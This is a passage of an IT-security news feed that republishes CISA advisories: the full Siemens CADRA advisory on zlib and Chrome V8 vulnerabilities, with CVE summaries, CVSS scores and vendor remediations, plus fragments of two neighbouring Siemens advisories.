<h2>Recommended Practices</h2>
<p>CISA recommends users take defensive measures to minimize the exploitation risk of this vulnerability.</p>
<p>Minimize network exposure for all control system devices and/or systems, and ensure they are not accessible from the internet.</p>
<p>Locate control system networks and remote devices behind firewalls and isolate them from business networks.</p>
<p>When remote access is required, use more secure methods, such as Virtual Private Networks (VPNs), recognizing VPNs may have vulnerabilities and should be updated to the most recent version available. Also recognize VPN is only as secure as its connected devices.</p>
<p>CISA reminds organizations to perform proper impact analysis and risk assessment prior to deploying defensive measures.</p>
<p>CISA also provides a section for control systems security recommended practices on the ICS webpage on cisa.gov. Several CISA products detailing cyber defense best practices are available for reading and download, including Improving Industrial Control Systems Cybersecurity with Defense-in-Depth Strategies.</p>
<p>CISA encourages organizations to implement recommended cybersecurity strategies for proactive defense of ICS assets. Additional mitigation guidance and recommended practices are publicly available on the ICS webpage at cisa.gov in the technical information paper, ICS-TIP-12-146-01B--Targeted Cyber Intrusion Detection and Mitigation Strategies.</p>
<p>Organizations observing suspected malicious activity should follow established internal procedures and report findings to CISA for tracking and correlation against other incidents.</p>
<hr>
<h2>Advisory Conversion Disclaimer</h2>
<p>This ICSA is a verbatim republication of Siemens ProductCERT SSA-104023 from a direct conversion of the vendor's Common Security Advisory Framework (CSAF) advisory. This is republished to CISA's website as a means of increasing visibility and is provided "as-is" for informational purposes only. CISA is not responsible for the editorial or technical accuracy of republished advisories and provides no warranties of any kind regarding any information contained within this advisory. Further, CISA does not endorse any commercial product or service. Please contact Siemens ProductCERT directly for any questions regarding this advisory.</p>
<h2>Revision History</h2>
<ul>
<li><strong>Initial Release Date: </strong>2026-07-14</li>
</ul>
<table class="tablesaw tablesaw-stack" data-tablesaw-mode="stack" data-tablesaw-minimap>
<thead>
<tr>
<th role="columnheader" data-tablesaw-priority="persist">Date</th>
<th role="columnheader">Revision</th>
<th role="columnheader">Summary</th>
</tr>
</thead>
<tbody>
<tr>
<td>2026-07-14</td>
<td>1</td>
<td>Publication Date</td>
</tr>
<tr>
<td>2026-07-21</td>
<td>2</td>
<td>Initial CISA Republication of Siemens ProductCERT SSA-104023 advisory</td>
</tr>
</tbody>
</table>
<hr>
<h2>Legal Notice and Terms of Use</h2>]]></content:encoded>
</item>
<item>
<title><![CDATA[Siemens CADRA]]></title>
<description><![CDATA[View CSAF
Summary
CADRA is affected by multiple zlib and Foxit vulnerabilities. Siemens has released a new version for CADRA and recommends to update to the latest version. Siemens is preparing further fix versions and recommends specific countermeasures for products where fixes are not, or not y...]]></description>
<link>https://tsecurity.de/de/3684507/it-security-nachrichten/siemens-cadra/</link>
<guid isPermaLink="true">https://tsecurity.de/de/3684507/it-security-nachrichten/siemens-cadra/</guid>
<pubDate>Tue, 21 Jul 2026 19:45:26 +0200</pubDate>
<category>📰 IT Security Nachrichten</category>
<source url="https://tsecurity.de">tsecurity.de</source>
<content:encoded><![CDATA[<p><a href="https://github.com/cisagov/CSAF/blob/develop/csaf_files/OT/white/2026/icsa-26-202-06.json"><strong>View CSAF</strong></a></p>
<h2>Summary</h2>
<p><strong>CADRA is affected by multiple zlib and Foxit vulnerabilities. Siemens has released a new version for CADRA and recommends to update to the latest version. Siemens is preparing further fix versions and recommends specific countermeasures for products where fixes are not, or not yet available.</strong></p>
<p>The following versions of Siemens CADRA are affected:</p>
<ul>
<li>CADRA vers:intdot/&lt;2511, vers:all/* </li>
</ul>
<div class="csaf-table">
<table class="tablesaw tablesaw-stack" data-tablesaw-mode="stack" data-tablesaw-minimap>
<thead>
<tr>
<th role="columnheader" data-tablesaw-priority="persist">CVSS</th>
<th role="columnheader">Vendor</th>
<th role="columnheader">Equipment</th>
<th role="columnheader">Vulnerabilities</th>
</tr>
</thead>
<tbody>
<tr>
<td>v3 9.8</td>
<td>Siemens</td>
<td>Siemens CADRA</td>
<td>Improper Input Validation, Incorrect Bitwise Shift of Integer, Out-of-bounds Write, Buffer Copy without Checking Size of Input ('Classic Buffer Overflow'), Integer Overflow or Wraparound, Access of Resource Using Incompatible Type ('Type Confusion')</td>
</tr>
</tbody>
</table>
</div>
<h3>Background</h3>
<ul>
<li><strong>Critical Infrastructure Sectors: </strong>Chemical, Commercial Facilities, Communications, Energy</li>
<li><strong>Countries/Areas Deployed: </strong>Worldwide</li>
<li><strong>Company Headquarters Location: </strong>Germany</li>
</ul>
<hr>
<h2>Vulnerabilities</h2>
<div class="csaf-accordion">
<p><a class="csaf-accordion-toggle-all" href="https://www.cisa.gov/#">Expand All +</a></p>
<div class="csaf-accordion-item">
<h3><a class="csaf-accordion-toggle" href="https://www.cisa.gov/#">CVE-2005-2096</a></h3>
<div class="csaf-accordion-content">
<p>zlib 1.2 and later versions allows remote attackers to cause a denial of service (crash) via a crafted compressed stream with an incomplete code description of a length greater than 1, which leads to a buffer overflow, as demonstrated using a crafted PNG file.</p>
<p><a href="https://www.cve.org/CVERecord?id=CVE-2005-2096">View CVE Details</a></p>
<hr>
<h4>Affected Products</h4>
<h5>Siemens CADRA</h5>
<div class="ics-vendor-version-status">
<div class="ics-vendor"><strong>Vendor:</strong><br>Siemens</div>
<div class="ics-version"><strong>Product Version:</strong><br>CADRA &lt; V2511</div>
<div class="ics-status"><strong>Product Status:</strong><br>known_affected</div>
</div>
<div class="ics-remediations">
<h6>Remediations</h6>
<p><strong>Vendor fix</strong><br>Update to V2511 or later version</p>
</div>
<p><strong>Relevant CWE:</strong> <a href="https://cwe.mitre.org/data/definitions/20.html">CWE-20 Improper Input Validation</a></p>
<hr>
<h4>Metrics</h4>
<div class="csaf-table csaf-metrics-table">
<table class="tablesaw tablesaw-stack" data-tablesaw-mode="stack" data-tablesaw-minimap>
<thead>
<tr>
<th role="columnheader" data-tablesaw-priority="persist">CVSS Version</th>
<th role="columnheader">Base Score</th>
<th role="columnheader">Base Severity</th>
<th role="columnheader">Vector String</th>
</tr>
</thead>
<tbody>
<tr>
<td>3.1</td>
<td>7.3</td>
<td>HIGH</td>
<td><a href="https://www.first.org/cvss/calculator/3.1#CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:L/I:L/A:L">CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:L/I:L/A:L</a></td>
</tr>
</tbody>
</table>
</div>
</div>
</div>
<div class="csaf-accordion-item">
<h3><a class="csaf-accordion-toggle" href="https://www.cisa.gov/#">CVE-2016-9840</a></h3>
<div class="csaf-accordion-content">
<p>inftrees.c in zlib 1.2.8 might allow context-dependent attackers to have unspecified impact by leveraging improper pointer arithmetic.</p>
<p><a href="https://www.cve.org/CVERecord?id=CVE-2016-9840">View CVE Details</a></p>
<hr>
<h4>Affected Products</h4>
<h5>Siemens CADRA</h5>
<div class="ics-vendor-version-status">
<div class="ics-vendor"><strong>Vendor:</strong><br>Siemens</div>
<div class="ics-version"><strong>Product Version:</strong><br>CADRA &lt; V2511</div>
<div class="ics-status"><strong>Product Status:</strong><br>known_affected</div>
</div>
<div class="ics-remediations">
<h6>Remediations</h6>
<p><strong>Vendor fix</strong><br>Update to V2511 or later version</p>
</div>
<p><strong>Relevant CWE:</strong> <a href="https://cwe.mitre.org/data/definitions/20.html">CWE-20 Improper Input Validation</a></p>
<hr>
<h4>Metrics</h4>
<div class="csaf-table csaf-metrics-table">
<table class="tablesaw tablesaw-stack" data-tablesaw-mode="stack" data-tablesaw-minimap>
<thead>
<tr>
<th role="columnheader" data-tablesaw-priority="persist">CVSS Version</th>
<th role="columnheader">Base Score</th>
<th role="columnheader">Base Severity</th>
<th role="columnheader">Vector String</th>
</tr>
</thead>
<tbody>
<tr>
<td>3.1</td>
<td>8.8</td>
<td>HIGH</td>
<td><a href="https://www.first.org/cvss/calculator/3.1#CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:U/C:H/I:H/A:H">CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:U/C:H/I:H/A:H</a></td>
</tr>
</tbody>
</table>
</div>
</div>
</div>
<div class="csaf-accordion-item">
<h3><a class="csaf-accordion-toggle" href="https://www.cisa.gov/#">CVE-2016-9841</a></h3>
<div class="csaf-accordion-content">
<p>inffast.c in zlib 1.2.8 might allow context-dependent attackers to have unspecified impact by leveraging improper pointer arithmetic.</p>
<p><a href="https://www.cve.org/CVERecord?id=CVE-2016-9841">View CVE Details</a></p>
<hr>
<h4>Affected Products</h4>
<h5>Siemens CADRA</h5>
<div class="ics-vendor-version-status">
<div class="ics-vendor"><strong>Vendor:</strong><br>Siemens</div>
<div class="ics-version"><strong>Product Version:</strong><br>CADRA &lt; V2511</div>
<div class="ics-status"><strong>Product Status:</strong><br>known_affected</div>
</div>
<div class="ics-remediations">
<h6>Remediations</h6>
<p><strong>Vendor fix</strong><br>Update to V2511 or later version</p>
</div>
<p><strong>Relevant CWE:</strong> <a href="https://cwe.mitre.org/data/definitions/20.html">CWE-20 Improper Input Validation</a></p>
<hr>
<h4>Metrics</h4>
<div class="csaf-table csaf-metrics-table">
<table class="tablesaw tablesaw-stack" data-tablesaw-mode="stack" data-tablesaw-minimap>
<thead>
<tr>
<th role="columnheader" data-tablesaw-priority="persist">CVSS Version</th>
<th role="columnheader">Base Score</th>
<th role="columnheader">Base Severity</th>
<th role="columnheader">Vector String</th>
</tr>
</thead>
<tbody>
<tr>
<td>3.1</td>
<td>9.8</td>
<td>CRITICAL</td>
<td><a href="https://www.first.org/cvss/calculator/3.1#CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H">CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H</a></td>
</tr>
</tbody>
</table>
</div>
</div>
</div>
<div class="csaf-accordion-item">
<h3><a class="csaf-accordion-toggle" href="https://www.cisa.gov/#">CVE-2016-9842</a></h3>
<div class="csaf-accordion-content">
<p>The inflateMark function in inflate.c in zlib 1.2.8 might allow context-dependent attackers to have unspecified impact via vectors involving left shifts of negative integers.</p>
<p><a href="https://www.cve.org/CVERecord?id=CVE-2016-9842">View CVE Details</a></p>
<hr>
<h4>Affected Products</h4>
<h5>Siemens CADRA</h5>
<div class="ics-vendor-version-status">
<div class="ics-vendor"><strong>Vendor:</strong><br>Siemens</div>
<div class="ics-version"><strong>Product Version:</strong><br>CADRA &lt; V2511</div>
<div class="ics-status"><strong>Product Status:</strong><br>known_affected</div>
</div>
<div class="ics-remediations">
<h6>Remediations</h6>
<p><strong>Vendor fix</strong><br>Update to V2511 or later version</p>
</div>
<p><strong>Relevant CWE:</strong> <a href="https://cwe.mitre.org/data/definitions/1335.html">CWE-1335 Incorrect Bitwise Shift of Integer</a></p>
<hr>
<h4>Metrics</h4>
<div class="csaf-table csaf-metrics-table">
<table class="tablesaw tablesaw-stack" data-tablesaw-mode="stack" data-tablesaw-minimap>
<thead>
<tr>
<th role="columnheader" data-tablesaw-priority="persist">CVSS Version</th>
<th role="columnheader">Base Score</th>
<th role="columnheader">Base Severity</th>
<th role="columnheader">Vector String</th>
</tr>
</thead>
<tbody>
<tr>
<td>3.1</td>
<td>8.8</td>
<td>HIGH</td>
<td><a href="https://www.first.org/cvss/calculator/3.1#CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:U/C:H/I:H/A:H">CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:U/C:H/I:H/A:H</a></td>
</tr>
</tbody>
</table>
</div>
</div>
</div>
<div class="csaf-accordion-item">
<h3><a class="csaf-accordion-toggle" href="https://www.cisa.gov/#">CVE-2017-14919</a></h3>
<div class="csaf-accordion-content">
<p>Node.js before 4.8.5, 6.x before 6.11.5, and 8.x before 8.8.0 allows remote attackers to cause a denial of service (uncaught exception and crash) by leveraging a change in the zlib module 1.2.9 making 8 an invalid value for the windowBits parameter.</p>
<p><a href="https://www.cve.org/CVERecord?id=CVE-2017-14919">View CVE Details</a></p>
<hr>
<h4>Affected Products</h4>
<h5>Siemens CADRA</h5>
<div class="ics-vendor-version-status">
<div class="ics-vendor"><strong>Vendor:</strong><br>Siemens</div>
<div class="ics-version"><strong>Product Version:</strong><br>CADRA &lt; V2511</div>
<div class="ics-status"><strong>Product Status:</strong><br>known_affected</div>
</div>
<div class="ics-remediations">
<h6>Remediations</h6>
<p><strong>Vendor fix</strong><br>Update to V2511 or later version</p>
</div>
<p><strong>Relevant CWE:</strong> <a href="https://cwe.mitre.org/data/definitions/20.html">CWE-20 Improper Input Validation</a></p>
<hr>
<h4>Metrics</h4>
<div class="csaf-table csaf-metrics-table">
<table class="tablesaw tablesaw-stack" data-tablesaw-mode="stack" data-tablesaw-minimap>
<thead>
<tr>
<th role="columnheader" data-tablesaw-priority="persist">CVSS Version</th>
<th role="columnheader">Base Score</th>
<th role="columnheader">Base Severity</th>
<th role="columnheader">Vector String</th>
</tr>
</thead>
<tbody>
<tr>
<td>3.0</td>
<td>7.5</td>
<td>HIGH</td>
<td><a href="https://www.first.org/cvss/calculator/3.0#CVSS:3.0/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H">CVSS:3.0/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H</a></td>
</tr>
</tbody>
</table>
</div>
</div>
</div>
<div class="csaf-accordion-item">
<h3><a class="csaf-accordion-toggle" href="https://www.cisa.gov/#">CVE-2018-25032</a></h3>
<div class="csaf-accordion-content">
<p>zlib before 1.2.12 allows memory corruption when deflating (i.e., when compressing) if the input has many distant matches.</p>
<p><a href="https://www.cve.org/CVERecord?id=CVE-2018-25032">View CVE Details</a></p>
<hr>
<h4>Affected Products</h4>
<h5>Siemens CADRA</h5>
<div class="ics-vendor-version-status">
<div class="ics-vendor"><strong>Vendor:</strong><br>Siemens</div>
<div class="ics-version"><strong>Product Version:</strong><br>CADRA &lt; V2511</div>
<div class="ics-status"><strong>Product Status:</strong><br>known_affected</div>
</div>
<div class="ics-remediations">
<h6>Remediations</h6>
<p><strong>Vendor fix</strong><br>Update to V2511 or later version</p>
</div>
<p><strong>Relevant CWE:</strong> <a href="https://cwe.mitre.org/data/definitions/787.html">CWE-787 Out-of-bounds Write</a></p>
<hr>
<h4>Metrics</h4>
<div class="csaf-table csaf-metrics-table">
<table class="tablesaw tablesaw-stack" data-tablesaw-mode="stack" data-tablesaw-minimap>
<thead>
<tr>
<th role="columnheader" data-tablesaw-priority="persist">CVSS Version</th>
<th role="columnheader">Base Score</th>
<th role="columnheader">Base Severity</th>
<th role="columnheader">Vector String</th>
</tr>
</thead>
<tbody>
<tr>
<td>3.1</td>
<td>7.5</td>
<td>HIGH</td>
<td><a href="https://www.first.org/cvss/calculator/3.1#CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H">CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H</a></td>
</tr>
</tbody>
</table>
</div>
</div>
</div>
<div class="csaf-accordion-item">
<h3><a class="csaf-accordion-toggle" href="https://www.cisa.gov/#">CVE-2022-37434</a></h3>
<div class="csaf-accordion-content">
<p>zlib through 1.2.12 has a heap-based buffer over-read or buffer overflow in inflate in inflate.c via a large gzip header extra field. NOTE: only applications that call inflateGetHeader are affected. Some common applications bundle the affected zlib source code but may be unable to call inflateGetHeader (e.g., see the nodejs/node reference).</p>
<p><a href="https://www.cve.org/CVERecord?id=CVE-2022-37434">View CVE Details</a></p>
<hr>
<h4>Affected Products</h4>
<h5>Siemens CADRA</h5>
<div class="ics-vendor-version-status">
<div class="ics-vendor"><strong>Vendor:</strong><br>Siemens</div>
<div class="ics-version"><strong>Product Version:</strong><br>CADRA &lt; V2511</div>
<div class="ics-status"><strong>Product Status:</strong><br>known_affected</div>
</div>
<div class="ics-remediations">
<h6>Remediations</h6>
<p><strong>Vendor fix</strong><br>Update to V2511 or later version</p>
</div>
<p><strong>Relevant CWE:</strong> <a href="https://cwe.mitre.org/data/definitions/120.html">CWE-120 Buffer Copy without Checking Size of Input ('Classic Buffer Overflow')</a></p>
<hr>
<h4>Metrics</h4>
<div class="csaf-table csaf-metrics-table">
<table class="tablesaw tablesaw-stack" data-tablesaw-mode="stack" data-tablesaw-minimap>
<thead>
<tr>
<th role="columnheader" data-tablesaw-priority="persist">CVSS Version</th>
<th role="columnheader">Base Score</th>
<th role="columnheader">Base Severity</th>
<th role="columnheader">Vector String</th>
</tr>
</thead>
<tbody>
<tr>
<td>3.1</td>
<td>9.8</td>
<td>CRITICAL</td>
<td><a href="https://www.first.org/cvss/calculator/3.1#CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H">CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H</a></td>
</tr>
</tbody>
</table>
</div>
</div>
</div>
<div class="csaf-accordion-item">
<h3><a class="csaf-accordion-toggle" href="https://www.cisa.gov/#">CVE-2023-45853</a></h3>
<div class="csaf-accordion-content">
<p>MiniZip in zlib through 1.3 has an integer overflow and resultant heap-based buffer overflow in zipOpenNewFileInZip4_64 via a long filename, comment, or extra field. NOTE: MiniZip is not a supported part of the zlib product. NOTE: pyminizip through 0.2.6 is also vulnerable because it bundles an affected zlib version, and exposes the applicable MiniZip code through its compress API.</p>
<p><a href="https://www.cve.org/CVERecord?id=CVE-2023-45853">View CVE Details</a></p>
<hr>
<h4>Affected Products</h4>
<h5>Siemens CADRA</h5>
<div class="ics-vendor-version-status">
<div class="ics-vendor"><strong>Vendor:</strong><br>Siemens</div>
<div class="ics-version"><strong>Product Version:</strong><br>CADRA &lt; V2511</div>
<div class="ics-status"><strong>Product Status:</strong><br>known_affected</div>
</div>
<div class="ics-remediations">
<h6>Remediations</h6>
<p><strong>Vendor fix</strong><br>Update to V2511 or later version</p>
</div>
<p><strong>Relevant CWE:</strong> <a href="https://cwe.mitre.org/data/definitions/190.html">CWE-190 Integer Overflow or Wraparound</a></p>
<hr>
<h4>Metrics</h4>
<div class="csaf-table csaf-metrics-table">
<table class="tablesaw tablesaw-stack" data-tablesaw-mode="stack" data-tablesaw-minimap>
<thead>
<tr>
<th role="columnheader" data-tablesaw-priority="persist">CVSS Version</th>
<th role="columnheader">Base Score</th>
<th role="columnheader">Base Severity</th>
<th role="columnheader">Vector String</th>
</tr>
</thead>
<tbody>
<tr>
<td>3.1</td>
<td>9.8</td>
<td>CRITICAL</td>
<td><a href="https://www.first.org/cvss/calculator/3.1#CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H">CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H</a></td>
</tr>
</tbody>
</table>
</div>
</div>
</div>
<div class="csaf-accordion-item">
<h3><a class="csaf-accordion-toggle" href="https://www.cisa.gov/#">CVE-2025-10585</a></h3>
<div class="csaf-accordion-content">
<p>Type confusion in V8 in Google Chrome prior to 140.0.7339.185 allowed a remote attacker to potentially exploit heap corruption via a crafted HTML page. (Chromium security severity: High)</p>
<p><a href="https://www.cve.org/CVERecord?id=CVE-2025-10585">View CVE Details</a></p>
<hr>
<h4>Affected Products</h4>
<h5>Siemens CADRA</h5>
<div class="ics-vendor-version-status">
<div class="ics-vendor"><strong>Vendor:</strong><br>Siemens</div>
<div class="ics-version"><strong>Product Version:</strong><br>CADRA</div>
<div class="ics-status"><strong>Product Status:</strong><br>known_affected</div>
</div>
<div class="ics-remediations">
<h6>Remediations</h6>
<p><strong>Mitigation</strong><br>Block access to untrusted or external web content from sensitive systems</p>
<p><strong>None available</strong><br>Currently no fix is available</p>
</div>
<p><strong>Relevant CWE:</strong> <a href="https://cwe.mitre.org/data/definitions/843.html">CWE-843 Access of Resource Using Incompatible Type ('Type Confusion')</a></p>
<hr>
<h4>Metrics</h4>
<div class="csaf-table csaf-metrics-table">
<table class="tablesaw tablesaw-stack" data-tablesaw-mode="stack" data-tablesaw-minimap>
<thead>
<tr>
<th role="columnheader" data-tablesaw-priority="persist">CVSS Version</th>
<th role="columnheader">Base Score</th>
<th role="columnheader">Base Severity</th>
<th role="columnheader">Vector String</th>
</tr>
</thead>
<tbody>
<tr>
<td>3.1</td>
<td>8.8</td>
<td>HIGH</td>
<td><a href="https://www.first.org/cvss/calculator/3.1#CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:U/C:H/I:H/A:H">CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:U/C:H/I:H/A:H</a></td>
</tr>
</tbody>
</table>
</div>
</div>
</div>
<div class="csaf-accordion-item">
<h3><a class="csaf-accordion-toggle" href="https://www.cisa.gov/#">CVE-2025-13223</a></h3>
<div class="csaf-accordion-content">
<p>Type Confusion in V8 in Google Chrome prior to 142.0.7444.175 allowed a remote attacker to potentially exploit heap corruption via a crafted HTML page. (Chromium security severity: High)</p>
<p><a href="https://www.cve.org/CVERecord?id=CVE-2025-13223">View CVE Details</a></p>
<hr>
<h4>Affected Products</h4>
<h5>Siemens CADRA</h5>
<div class="ics-vendor-version-status">
<div class="ics-vendor"><strong>Vendor:</strong><br>Siemens</div>
<div class="ics-version"><strong>Product Version:</strong><br>CADRA</div>
<div class="ics-status"><strong>Product Status:</strong><br>known_affected</div>
</div>
<div class="ics-remediations">
<h6>Remediations</h6>
<p><strong>Mitigation</strong><br>Block access to untrusted or external web content from sensitive systems</p>
<p><strong>None available</strong><br>Currently no fix is available</p>
</div>
<p><strong>Relevant CWE:</strong> <a href="https://cwe.mitre.org/data/definitions/843.html">CWE-843 Access of Resource Using Incompatible Type ('Type Confusion')</a></p>
<hr>
<h4>Metrics</h4>
<div class="csaf-table csaf-metrics-table">
<table class="tablesaw tablesaw-stack" data-tablesaw-mode="stack" data-tablesaw-minimap>
<thead>
<tr>
<th role="columnheader" data-tablesaw-priority="persist">CVSS Version</th>
<th role="columnheader">Base Score</th>
<th role="columnheader">Base Severity</th>
<th role="columnheader">Vector String</th>
</tr>
</thead>
<tbody>
<tr>
<td>3.1</td>
<td>8.8</td>
<td>HIGH</td>
<td><a href="https://www.first.org/cvss/calculator/3.1#CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:U/C:H/I:H/A:H">CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:U/C:H/I:H/A:H</a></td>
</tr>
</tbody>
</table>
</div>
</div>
</div>
<div class="csaf-accordion-item">
<h3><a class="csaf-accordion-toggle" href="https://www.cisa.gov/#">CVE-2026-22184</a></h3>
<div class="csaf-accordion-content">
<p>zlib versions up to and including 1.3.1.2 include a global buffer overflow in the untgz utility located under contrib/untgz. The vulnerability is limited to the standalone demonstration utility and does not affect the core zlib compression library. The flaw occurs when a user executes the untgz command with an excessively long archive name supplied via the command line, leading to an out-of-bounds write in a fixed-size global buffer.</p>
<p><a href="https://www.cve.org/CVERecord?id=CVE-2026-22184">View CVE Details</a></p>
<hr>
<h4>Affected Products</h4>
<h5>Siemens CADRA</h5>
<div class="ics-vendor-version-status">
<div class="ics-vendor"><strong>Vendor:</strong><br>Siemens</div>
<div class="ics-version"><strong>Product Version:</strong><br>CADRA</div>
<div class="ics-status"><strong>Product Status:</strong><br>known_affected</div>
</div>
<div class="ics-remediations">
<h6>Remediations</h6>
<p><strong>None available</strong><br>Currently no fix is available</p>
</div>
<p><strong>Relevant CWE:</strong> <a href="https://cwe.mitre.org/data/definitions/787.html">CWE-787 Out-of-bounds Write</a></p>
<hr>
<h4>Metrics</h4>
<div class="csaf-table csaf-metrics-table">
<table class="tablesaw tablesaw-stack" data-tablesaw-mode="stack" data-tablesaw-minimap>
<thead>
<tr>
<th role="columnheader" data-tablesaw-priority="persist">CVSS Version</th>
<th role="columnheader">Base Score</th>
<th role="columnheader">Base Severity</th>
<th role="columnheader">Vector String</th>
</tr>
</thead>
<tbody>
<tr>
<td>3.1</td>
<td>0</td>
<td>NONE</td>
<td><a href="https://www.first.org/cvss/calculator/3.1#CVSS:3.1/AV:N/AC:H/PR:N/UI:R/S:U/C:N/I:N/A:N">CVSS:3.1/AV:N/AC:H/PR:N/UI:R/S:U/C:N/I:N/A:N</a></td>
</tr>
</tbody>
</table>
</div>
</div>
</div>
</div>
<hr>
<h2>Acknowledgments</h2>
<ul>
<li>Siemens ProductCERT reported these vulnerabilities to CISA.</li>
</ul>
<hr>
<h2>General Recommendations</h2>
<p>As a general security measure, Siemens strongly recommends to protect network access to devices with appropriate mechanisms. In order to operate the devices in a protected IT environment, Siemens recommends to configure the environment according to Siemens' operational guidelines for Industrial Security (Download: https://www.siemens.com/cert/operational-guidelines-industrial-security), and to follow the recommendations in the product manuals. Additional information on Industrial Security by Siemens can be found at: https://www.siemens.com/industrialsecurity</p>
<hr>
<h2>Additional Resources</h2>
<p>For further inquiries on security vulnerabilities in Siemens products and solutions, please contact the Siemens ProductCERT: https://www.siemens.com/cert/advisories</p>
<hr>
<h2>Terms of Use</h2>
<p>The use of Siemens Security Advisories is subject to the terms and conditions listed on: https://www.siemens.com/productcert/terms-of-use.</p>
<hr>
<h2>Legal Notice and Terms of Use</h2>
<p>This product is provided subject to this Notification (https://www.cisa.gov/notification) and this Privacy &amp; Use policy (https://www.cisa.gov/privacy-policy).</p>
<hr>
<h2>Recommended Practices</h2>
<p>CISA recommends users take defensive measures to minimize the exploitation risk of this vulnerability.</p>
<p>Minimize network exposure for all control system devices and/or systems, and ensure they are not accessible from the internet.</p>
<p>Locate control system networks and remote devices behind firewalls and isolate them from business networks.</p>
<p>When remote access is required, use more secure methods, such as Virtual Private Networks (VPNs), recognizing VPNs may have vulnerabilities and should be updated to the most recent version available. Also recognize VPN is only as secure as its connected devices.</p>
<p>CISA reminds organizations to perform proper impact analysis and risk assessment prior to deploying defensive measures.</p>
<p>CISA also provides a section for control systems security recommended practices on the ICS webpage on cisa.gov. Several CISA products detailing cyber defense best practices are available for reading and download, including Improving Industrial Control Systems Cybersecurity with Defense-in-Depth Strategies.</p>
<p>CISA encourages organizations to implement recommended cybersecurity strategies for proactive defense of ICS assets. Additional mitigation guidance and recommended practices are publicly available on the ICS webpage at cisa.gov in the technical information paper, ICS-TIP-12-146-01B--Targeted Cyber Intrusion Detection and Mitigation Strategies.</p>
<p>Organizations observing suspected malicious activity should follow established internal procedures and report findings to CISA for tracking and correlation against other incidents.</p>
<hr>
<h2>Advisory Conversion Disclaimer</h2>
<p>This ICSA is a verbatim republication of Siemens ProductCERT SSA-470355 from a direct conversion of the vendor's Common Security Advisory Framework (CSAF) advisory. This is republished to CISA's website as a means of increasing visibility and is provided "as-is" for informational purposes only. CISA is not responsible for the editorial or technical accuracy of republished advisories and provides no warranties of any kind regarding any information contained within this advisory. Further, CISA does not endorse any commercial product or service. Please contact Siemens ProductCERT directly for any questions regarding this advisory.</p>
<h2>Revision History</h2>
<ul>
<li><strong>Initial Release Date: </strong>2026-07-14</li>
</ul>
<table class="tablesaw tablesaw-stack" data-tablesaw-mode="stack" data-tablesaw-minimap>
<thead>
<tr>
<th role="columnheader" data-tablesaw-priority="persist">Date</th>
<th role="columnheader">Revision</th>
<th role="columnheader">Summary</th>
</tr>
</thead>
<tbody>
<tr>
<td>2026-07-14</td>
<td>1</td>
<td>Publication Date</td>
</tr>
<tr>
<td>2026-07-21</td>
<td>2</td>
<td>Initial CISA Republication of Siemens ProductCERT SSA-470355 advisory</td>
</tr>
</tbody>
</table>
<hr>
<h2>Legal Notice and Terms of Use</h2>]]></content:encoded>
</item>
<item>
<title><![CDATA[Siemens SIDIS Secured SmartPlug]]></title>
<description><![CDATA[View CSAF
Summary
SIDIS Secured SmartPlug before V7.26.0310 is affected by multiple vulnerabilities in the components OpenSSL, OpenSSH, and several other packages as described below. Siemens has released a new version of SIDIS Secured SmartPlug and recommends to update to the latest version.
The ...]]></description>
<link>https://tsecurity.de/de/3684505/it-security-nachrichten/siemens-sidis-secured-smartplug/</link>
<guid isPermaLink="true">https://tsecurity.de/de/3684505/it-security-nachrichten/siemens-sidis-secured-smartplug/</guid>
<pubDate>Tue, 21 Jul 2026 19:45:23 +0200</pubDate>
<category>📰 IT Security Nachrichten</category>
<source url="https://tsecurity.de">tsecurity.de</source>
<content:encoded><![CDATA[<p><a href="https://github.com/cisagov/CSAF/blob/develop/csaf_files/OT/white/2026/icsa-26-202-04.json"><strong>View CSAF</strong></a></p>
<h2>Summary</h2>
<p><strong>SIDIS Secured SmartPlug before V7.26.0310 is affected by multiple vulnerabilities in the components OpenSSL, OpenSSH, and several other packages as described below. Siemens has released a new version of SIDIS Secured SmartPlug and recommends to update to the latest version.</strong></p>
<p>The following versions of Siemens SIDIS Secured SmartPlug are affected:</p>
<ul>
<li>SIDIS Secured SmartPlug vers:intdot/&lt;7.26.0310 </li>
</ul>
<div class="csaf-table">
<table class="tablesaw tablesaw-stack" data-tablesaw-mode="stack" data-tablesaw-minimap>
<thead>
<tr>
<th role="columnheader" data-tablesaw-priority="persist">CVSS</th>
<th role="columnheader">Vendor</th>
<th role="columnheader">Equipment</th>
<th role="columnheader">Vulnerabilities</th>
</tr>
</thead>
<tbody>
<tr>
<td>v3 9.8</td>
<td>Siemens</td>
<td>Siemens SIDIS Secured SmartPlug</td>
<td>Improper Enforcement of Message Integrity During Transmission in a Communication Channel, Reusing a Nonce, Key Pair in Encryption, Out-of-bounds Write, Buffer Copy without Checking Size of Input ('Classic Buffer Overflow'), Integer Overflow or Wraparound, Out-of-bounds Read, Covert Timing Channel, Detection of Error Condition Without Action, Incorrect Authorization</td>
</tr>
</tbody>
</table>
</div>
<h3>Background</h3>
<ul>
<li><strong>Critical Infrastructure Sectors: </strong>Critical Manufacturing</li>
<li><strong>Countries/Areas Deployed: </strong>Worldwide</li>
<li><strong>Company Headquarters Location: </strong>Germany</li>
</ul>
<hr>
<h2>Vulnerabilities</h2>
<div class="csaf-accordion">
<p><a class="csaf-accordion-toggle-all" href="https://www.cisa.gov/#">Expand All +</a></p>
<div class="csaf-accordion-item">
